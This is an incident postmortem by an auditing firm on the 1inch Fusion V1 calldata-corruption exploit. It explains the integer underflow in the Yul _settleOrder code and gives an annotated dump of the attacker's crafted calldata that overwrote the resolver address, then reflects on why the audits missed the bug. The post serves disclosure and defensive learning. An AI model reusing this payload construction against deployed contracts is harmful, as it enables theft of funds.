
This is an overview of one of the toughest DeFi exploits which happened around 5 pm UTC on March 5, 2025.
TL;DR: The old version of 1inch Settlement had a callback option for takers to resolve all matched orders at the end of the interaction processing. The callback was supposed to be executed only when the resolver contract itself is the taker. However, due to a calldata corruption vulnerability in the order suffix processing, it was possible to overwrite the resolver address and call arbitrary resolver. This resulted in a loss for the market maker TrustedVolumes. Most of the funds were returned, the attacker walked away with a bounty.
Victim addresses:
Attacker addresses:
Attack transactions:
Indicator of compromise function signature for the resolvers:
The exploit targeted a third-party resolver contract integrated with the the Fusion V1 protocol. 1inch Fusion is an efficient gasless swap protocol built on top of 1inch Limit Order Protocol. Fusion V1 was deprecated mid-2023 but was not destructed for the purpose of backwards compatibility for the users who still needed the old version.
The code of Fusion V1 including the affected contracts has undergone numerous audits by 9 audit companies, some of the reports were published: https://github.com/1inch/1inch-audits/tree/master/Fusion%20mode%20and%20Token-plugins.
Looking at one of the transactions, we can see that it looks like a normal limit order protocol swap under the Settlement contract:

However, the result of the transaction is as follows:

The taker and the maker in this swap are both attacker addresses. They swap 6 wei USDT for 1,000,000 USDC which would be impossible without money because the Limit Order Protocol ensures that all the amounts are actually transferred. In this case, the one paying for this swap is the victim, the 0xb02f contract transfers 2,000,000 USDC to Settlement.
If we go deeper in the execution traces, we’ll see that Settlement calls the resolveOrders function in 0xb02f:

Ok let’s decompile the victim contract:

Looks like the contracts transfers arbitrary amounts of arbitrary tokens to the caller but the caller has to be the Settlement contract. Also, the first argument should be this contract’s address (this is a sanity check).
This looks very similar to the example resolver contract provided by 1inch:

At this point, we thought that all the third-party resolvers had a quite obvious access control vulnerability by design and were shocked that all of us missed it. Turns out, this was not exactly the case. The victim indeed didn’t audit the resolver contract and didn’t update it even when the protocol was deprecated and the interfaces have been changed.
Additionally, the victim didn’t have real-time threat detection and couldn’t quickly respond to the hack although there was a chance to do this in an automated way.
However, we realized that the resolver address sanity check is actually important which can be seen in the old implementation of Settlement: https://github.com/1inch/limit-order-settlement/blob/934a8e7db4b98258c4c734566e8fcbc15b818ab5/contracts/Settlement.sol.
The attacker calls settleOrders which calls _settleOrder(data, msg.sender, 0, new bytes(0)). The second argument is the resolver address which is then added to the order suffix and passed further down the recursion. Therefore, there’s no intended control over the resolver field in the suffix: it should be the resolver contract who fills the order and effectively calls the resolveOrders function via re-entrancy.
But somehow in the attack transaction the resolver field was overwritten. Time to debug! By following the execution trace in Phalcon debugger, we can get down to the final _settleOrder call where the incorrect resolver field was initialized:

Now let’s take a look at the _settleOrder source code:
function _settleOrder(bytes calldata data, address resolver, uint256 totalFee, bytes memory tokensAndAmounts) private {
OrderLib.Order calldata order;
assembly {
order := add(data.offset, calldataload(data.offset))
}
if (!order.checkResolver(resolver)) revert ResolverIsNotWhitelisted();
TakingFee.Data takingFeeData = order.takingFee();
totalFee += order.salt.getFee() * _ORDER_FEE_BASE_POINTS;
uint256 rateBump = order.rateBump();
uint256 suffixLength = DynamicSuffix._STATIC_DATA_SIZE + tokensAndAmounts.length + 0x20;
IOrderMixin limitOrderProtocol = _limitOrderProtocol;
assembly {
function memcpy(dst, src, len) {
pop(staticcall(gas(), 0x4, src, len, dst, len))
}
let interactionLengthOffset := calldataload(add(data.offset, 0x40))
let interactionOffset := add(interactionLengthOffset, 0x20)
let interactionLength := calldataload(add(data.offset, interactionLengthOffset))
{ // stack too deep
let target := shr(96, calldataload(add(data.offset, interactionOffset)))
if or(lt(interactionLength, 20), iszero(eq(target, address()))) {
mstore(0, _WRONG_INTERACTION_TARGET_SELECTOR)
revert(0, 4)
}
}
// Copy calldata and patch interaction.length
let ptr := mload(0x40)
mstore(ptr, _FILL_ORDER_TO_SELECTOR)
calldatacopy(add(ptr, 4), data.offset, data.length)
mstore(add(add(ptr, interactionLengthOffset), 4), add(interactionLength, suffixLength))
{ // stack too deep
// Append suffix fields
let offset := add(add(ptr, interactionOffset), interactionLength)
mstore(add(offset, 0x04), totalFee)
mstore(add(offset, 0x24), resolver)
mstore(add(offset, 0x44), calldataload(add(order, 0x40))) // takerAsset
mstore(add(offset, 0x64), rateBump)
mstore(add(offset, 0x84), takingFeeData)
let tokensAndAmountsLength := mload(tokensAndAmounts)
memcpy(add(offset, 0xa4), add(tokensAndAmounts, 0x20), tokensAndAmountsLength)
mstore(add(offset, add(0xa4, tokensAndAmountsLength)), tokensAndAmountsLength)
}
// Call fillOrderTo
if iszero(call(gas(), limitOrderProtocol, 0, ptr, add(add(4, suffixLength), data.length), ptr, 0)) {
returndatacopy(ptr, 0, returndatasize())
revert(ptr, returndatasize())
}
}
}We can see that the data structure with the added suffix is stored in the newly allocated memory pointed by ptr. The suffix is written to a certain offset calculated in an unsafe manner: ptr + interactionOffset + interactionLength. This overflows because interactionLength is a full 32-byte word controlled by the attacker. Therefore, the pointer can be decreased effectively writing the suffix to a different place.
The attacker used the following approach:
As a result, the real suffix gets written to the padding allocated before the fake suffix structure. Then the interaction structure is treated as a suffix by the DynamicSuffix library: https://github.com/1inch/fusion-protocol/blob/934a8e7db4b98258c4c734566e8fcbc15b818ab5/contracts/libraries/DynamicSuffix.sol#L32.
The resulting calldata passed to _settleOrder looks like this:
000000000000000000000000000000000000000000000000000000e0 0000000000000000000000000000000000000000000000000000000000000240 0000000000000000000000000000000000000000000000000000000000000460 interactionLengthOffset 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000001 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000019bfc71d43c3492926d4a9a6c781f36706970c9 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7 000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 000000000000000000000000019bfc71d43c3492926d4a9a6c781f36706970c9 000000000000000000000000bbb587e59251d219a7a05ce989ec1969c01522c0 000000000000000000000000a88800cd213da5ae406ce248380802bd53b47647 0000000000000000000000000000000000000000000000000000000000000001 0000000000000000000000000000000000000000000000000000000000000001 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000140 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 // this is where the real suffix will be written because of the underflow 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 // interactionLength = -512 fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00 // this is the interaction target (Settlement address) parsed here: https://github.com/1inch/fusion-protocol/blob/934a8e7db4b98258c4c734566e8fcbc15b818ab5/contracts/Settlement.sol#L77 a88800cd213da5ae406ce248380802bd53b47647 // this is the _FINALIZE_INTERACTION flag (see `interaction.offset := add(cd.offset, 1))` 01 //this is the victim, see `address target = address(bytes20(interaction))` b02f39e382c90160eb816de5e0e428ac771d77b5 0000000000000000000000000000000000000000000000 // padding 0000000000000000000000000000000000000000000000000000000000000000 // totalFee 000000000000000000000000b02f39e382c90160eb816de5e0e428ac771d77b5 // resolver 000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 // token 0000000000000000000000000000000000000000000000000000000000000000 // rateBump 0000000000000000000000000000000000000000000000000000000000000000 // takingFee 000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 // token 0000000000000000000000000000000000000000000000000000000000000001 // amount 0000000000000000000000000000000000000000000000000000000000000040 // tokensAndAmounts length in bytes 00000000 // padding
This looks like a typical pwnable heap binary exploitation challenge on a CTF! Not a typical smart contract hack though.
Since Decurity was one of the teams who audited Fusion V1, we did internal investigation and reviewed the notes, artifacts, audit reports, git commits, and chat logs to understand how this attack vector was missed.
A number of reasons led to this and we’ll reflect on them here and invite other auditors to do the same. We are certain that all of us could do a better job.
When we started the audit in October 2022, there was no vulnerable code in the repository. It was introduced later in November 2022 with a significant code refactoring and upgrade (the whole code was rewritten from Solidity to Yul). We took additional time to review the updated code during the re-testing of the previous findings.
Then, there were a few more rounds of audits with many firms in December 2022. The resolver code was not in scope, so auditors probably didn’t pay much attention to this flow involving the resolveOrders call.
Later, in March 2023, a new round of audits was announced. Prior to the start, on March 27, we had internally flagged the _settleOrder code as vulnerable to integer overflow while assessing the scope.
But on March 28, we found out that in the new implementation, the code was completely rewritten again and we didn’t report and investigate the issue further.
We didn’t realize that the older code was already deployed and would stay the same. Also, we were not sure if there’s a real security impact. So, the previous vulnerable implementation was not reviewed by anyone anymore until the hacker did.
All of this is very regrettable and amusing considering there were so many audits done by good teams and considering how strong is the 1inch team. The bug lived out there for more than 2 years.
What could we and other auditors do better?
How the attacker managed to find the bug that 9 teams didn’t find? I think it’s pretty understandable:
Stay safe, both on and off chain, friends.
As sad as this incident is, we are transparent and execute best efforts when doing the audits and doing incident response. The audits are in fact time-boxed security reviews and it is mathematically impossible to fully guarantee the security properties in general case.
Also, remember that apart from the audits, it is also important to have OPSEC, DevSecOps, and post-deployment security measures such as monitoring and regular updates.
If you need Real-Time Threat Detection or a Tier-1 Security Audit for your smart contracts or off-chain components, do not hesitate to submit the contact form or reach out on Telegram. Check out our previous audits at GitHub.
Yul Calldata Corruption — 1inch Postmortem was originally published in Decurity on Medium, where people are continuing the conversation by highlighting and responding to this story.
The researchers who write this are the ones who run the audits.